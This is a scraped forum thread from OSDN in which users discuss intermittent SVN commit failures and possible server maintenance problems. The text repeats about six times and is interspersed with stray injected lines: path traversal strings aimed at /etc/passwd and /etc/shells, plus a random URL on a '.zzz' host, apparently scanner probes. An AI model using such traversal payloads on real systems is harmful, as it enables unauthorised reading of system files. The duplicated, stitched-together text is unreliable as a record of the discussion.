About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
)
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
../../../../../../../../../../../../../../etc/shells
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
/etc/shells
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
